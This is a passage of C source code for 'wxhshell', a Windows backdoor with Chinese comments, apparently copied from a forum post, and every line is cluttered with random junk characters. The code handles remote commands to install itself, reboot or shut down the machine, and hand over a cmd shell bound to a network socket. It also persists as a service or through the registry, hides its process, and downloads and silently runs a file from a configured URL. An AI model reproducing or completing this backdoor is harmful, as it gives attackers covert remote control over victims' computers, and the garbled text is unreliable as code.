N[d*_KN.!  
    switch(cmd[0]) { YpoO:  
  EWNh:<F?  
  // 帮助 zm) ]cq  
  case '?': { .x5Y fe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .pNWpWL.  
    break; )dgXS//Y  
  } A-1Wn^,> *  
  // 安装 F2]v]]F!  
  case 'i': { K#H}=Y A  
    if(Install()) M 8a^yoZn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W_9-JM(r  
    else vt<r_&+ pJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7tMV*{+Z  
    break; u$$@Hw  
    } 3Ba>a(E  
  // 卸载 \{@s@VBx[  
  case 'r': { (xpj?zlmM  
    if(Uninstall()) =`[08  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Ig'Aw$x  
    else v Ic 0V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3P~I' FQ  
    break; f9u^/QVS&  
    } -v .\CtpHv  
  // 显示 wxhshell 所在路径 V.#,dDC@j  
  case 'p': { ewg&DBbN"  
    char svExeFile[MAX_PATH]; Gf\Dc   
    strcpy(svExeFile,"\n\r"); LvgNdVJDP|  
      strcat(svExeFile,ExeFile); [>QV^2'Z  
        send(wsh,svExeFile,strlen(svExeFile),0); W&ya_iP~C  
    break; S.rlF1`  
    } MKLntX  
  // 重启 $, 4;_4t  
  case 'b': { =k6zUw;5 U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Iz'#I Xx  
    if(Boot(REBOOT)) +gqtW8 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?7)oFNz  
    else { 'uS!rKkQlu  
    closesocket(wsh); LHU^%;L  
    ExitThread(0); U1bhd}MoR  
    } F%@( $f  
    break; RX8$&z  
    } .ii9-+_  
  // 关机 l_GvdD  
  case 'd': { dOh'9kk3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8rwkux >  
    if(Boot(SHUTDOWN)) =G3O7\KmH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4fl=  
    else { ,o7aIg&_H  
    closesocket(wsh); tgK$}#.*  
    ExitThread(0); uSCF;y=1g,  
    } #D M%_HXDi  
    break; {Ak{ ct\t  
    } t=syo->  
  // 获取shell n0g,r/  
  case 's': { H_KE^1  
    CmdShell(wsh); 8aZuI|z  
    closesocket(wsh); i <0H W  
    ExitThread(0); |@? B%sY  
    break; a3e<< <Z>R  
  } |6w.m<p  
  // 退出 c9imfA+e  
  case 'x': { ~L(=-B`Ow  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0yr=$F(]s  
    CloseIt(wsh); RFd.L@-]  
    break; ,g2|8>sJP  
    } Z3?,r[   
  // 离开 x4|>HY<p?  
  case 'q': { :Y/i%#*1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :=vB|Ch:~  
    closesocket(wsh); HSGM&!5mW  
    WSACleanup(); c=]qUhnH  
    exit(1); w6DK&@w`'/  
    break; Ry>c]\a]  
        } @r4ZN6Wn  
  } z2Sp  
  } {vYmK#}  
6, \i0y5n  
  // 提示信息 JR{3n*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Z5ak4P  
} KD?~ hpg  
  } `l,=iy$  
@Aa$k:_  
  return; !]1X0wo\  
} k_%2Ok   
b);Pw"_2  
// shell模块句柄 |d^r"wbs3  
int CmdShell(SOCKET sock) +;~JHx.~X  
{ y;Xb." e~  
STARTUPINFO si; sPY *2B  
ZeroMemory(&si,sizeof(si)); n ^P=a'+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @/h_v#W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %}jwuNGA  
PROCESS_INFORMATION ProcessInfo; 9k8ftxB^  
char cmdline[]="cmd"; -BUxQ8/,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x)0g31 4 9  
  return 0; aiVd^(  
} N1$lG? )+  
'U ',9  
// 自身启动模式 U ^1Xc#Ff  
int StartFromService(void) ~01 o  
{ T P'  
typedef struct 9n{tbabJ  
{ hZ2!UW4'  
  DWORD ExitStatus; F{}mlQg  
  DWORD PebBaseAddress; iTsmUq<b]l  
  DWORD AffinityMask; )1ia;6}  
  DWORD BasePriority; *0]E4]ZO  
  ULONG UniqueProcessId; x&9}] E^<  
  ULONG InheritedFromUniqueProcessId; Qr]xj7\@i  
}   PROCESS_BASIC_INFORMATION; Q4e*Z9YJ  
H&jK|]UXoO  
PROCNTQSIP NtQueryInformationProcess; Sx)b~*  
$3>k/*=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,JIjAm*2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }[ LME Z  
tWR>I$O8F  
  HANDLE             hProcess; >Ia{ZbQV  
  PROCESS_BASIC_INFORMATION pbi; H~%HTl  
&ywAzGV{s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nq'Cuwsp  
  if(NULL == hInst ) return 0; j<H`<S  
)W9W8>Cc5_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~_ss[\N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); USfpCRj9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @igGfYy  
YT\x'`>Q  
  if (!NtQueryInformationProcess) return 0; pQ%~u3  
}~pT saw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7=C$*)x  
  if(!hProcess) return 0; *i zPLM}+  
*sK")Q4N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kKr|PFz  
(sLFJ a6e  
  CloseHandle(hProcess); V`xZ4 i%L  
^@?-YWt   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rX*4$d0  
if(hProcess==NULL) return 0; $"&0  
am,UUJ+h>  
HMODULE hMod; rFJ(t7\9h  
char procName[255]; 7U68|\fI!  
unsigned long cbNeeded; Nd!0\ "AE  
8 CKN^8E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,grdl|Dg  
`^HAWo;J  
  CloseHandle(hProcess); 55xa Z#|  
ut z.  
if(strstr(procName,"services")) return 1; // 以服务启动 =" Q5Z6W  
gyi<ot;  
  return 0; // 注册表启动 ;=\vm"I?  
} LWgYGXWT"  
!K a!f1  
// 主模块 iXt1{VP'K  
int StartWxhshell(LPSTR lpCmdLine) J.'}R2gT1  
{ t.wB\Kmt\  
  SOCKET wsl; 1L722I @  
BOOL val=TRUE; ,)%al76E  
  int port=0; ELoE-b)Cb  
  struct sockaddr_in door; o,l3j|1  
P,5gaT)  
  if(wscfg.ws_autoins) Install(); J6pQ){;6  
q]Y [W1  
port=atoi(lpCmdLine); ZL[~[  
} LuPYCzpu  
if(port<=0) port=wscfg.ws_port; <=WSX{_D  
1F?`.~q  
  WSADATA data; L=Cm0q 3 v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UHr0J jQK  
y4* }E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3LXS}~&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *s4h tt  
  door.sin_family = AF_INET; zK.%tx}+=k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R T/T+Q!  
  door.sin_port = htons(port); A[20ic  
mqL&bmT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iW.4'9   
closesocket(wsl); 5Y<O  
return 1; ]BAM _  
} (p4|,\+  
9_yO 6)`  
  if(listen(wsl,2) == INVALID_SOCKET) { pw;  
closesocket(wsl); -= {Z::}S"  
return 1; tMM *m  
} 0I6[`*|SX  
  Wxhshell(wsl); xEv]V L:  
  WSACleanup(); ?kBi9^)N4  
AQX~do\A  
return 0; Vs@[="  
[@ExR*  
} #$q~ZKB  
1=LI))nV  
// 以NT服务方式启动 TAfLC)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5 :O7cBr  
{ 3I0=^ >A  
DWORD   status = 0; ,G2]3 3Z  
  DWORD   specificError = 0xfffffff; D)C^'/8q  
5 9$B z'LY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #H9J/k_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GilaON*pK.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :N!Fe7H,  
  serviceStatus.dwWin32ExitCode     = 0; =.vc={_ ?  
  serviceStatus.dwServiceSpecificExitCode = 0; Z^t"!oY  
  serviceStatus.dwCheckPoint       = 0; H/!_D f  
  serviceStatus.dwWaitHint       = 0; $`7cs}#  
ZJUTtiD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3GMRH;/w  
  if (hServiceStatusHandle==0) return; Ejc%DSG  
5I#L|+  
status = GetLastError(); U)IW6)q  
  if (status!=NO_ERROR) 9+'QH  
{  t~mbe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z}#, E ;  
    serviceStatus.dwCheckPoint       = 0; Q-<,+[/  
    serviceStatus.dwWaitHint       = 0; s)_Xj`Q#  
    serviceStatus.dwWin32ExitCode     = status; V}?d ,.m`{  
    serviceStatus.dwServiceSpecificExitCode = specificError; {Rc!S? 8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y@)iPK@z  
    return; _`6fGu& W  
  } 1J8okBhZ  
8?ig/HSt2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C@!C='b,  
  serviceStatus.dwCheckPoint       = 0; z}I4m  
  serviceStatus.dwWaitHint       = 0; K9JW&5Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x!6&)T?!n  
} U@ #YKv  
=4RXNWkud  
// 处理NT服务事件,比如:启动、停止 x13t@b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rw4"co6  
{ (r8Rb*OP  
switch(fdwControl) =`VA_xVu  
{ ?6h65GO{  
case SERVICE_CONTROL_STOP: W zM9{c  
  serviceStatus.dwWin32ExitCode = 0; bs-O3w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .j*muDVQn  
  serviceStatus.dwCheckPoint   = 0; }9n{E-bj*  
  serviceStatus.dwWaitHint     = 0; R"Ol'y{  
  { wNsAVUjLe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XXbA n-J  
  } EL_rh TWw  
  return; i <KWFF#  
case SERVICE_CONTROL_PAUSE: <]f ru1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dB{o-R  
  break; pJM~'tlHV  
case SERVICE_CONTROL_CONTINUE: 3#)I7FG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v7rEU S-  
  break; t*<@>]k  
case SERVICE_CONTROL_INTERROGATE: DDdMWH^o7  
  break; h rfu\cI  
}; 9 *>@s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *E"QFirk0  
} z[kz [  
sZ`C "1cX  
// 标准应用程序主函数 >)g`;iO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b$/TfpNdo  
{ bZ!*s  
:f^ =~#!  
// 获取操作系统版本 9f ,$JjX[  
OsIsNt=GetOsVer(); 2=H3yEJq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4k9O6  
f.?p"~!  
  // 从命令行安装 N?!]^jI,  
  if(strpbrk(lpCmdLine,"iI")) Install(); q,k/@@Qd9  
qTM,'7Rwn  
  // 下载执行文件 KPGo*mY  
if(wscfg.ws_downexe) { #R_IF&7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <5qXC.{Cyp  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0@w8,x  
} :r0?[#r?N,  
)6?(K"T  
if(!OsIsNt) { a]NQlsE}l  
// 如果时win9x,隐藏进程并且设置为注册表启动 dZnAdlJ  
HideProc(); m/#)B6@A  
StartWxhshell(lpCmdLine); A%H"a+  
} IipG?v0z~  
else #]nH$Kq  
  if(StartFromService()) sFNBrL  
  // 以服务方式启动 }Dk*Hs^E  
  StartServiceCtrlDispatcher(DispatchTable); H8[ L:VeNT  
else Fb#_(I[aj  
  // 普通方式启动 wLeP;u1  
  StartWxhshell(lpCmdLine); NYwE=b~I  
Gc=#  
return 0; .ztO._J7f  
}
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只看该作者 1 发表于: 2006-10-10
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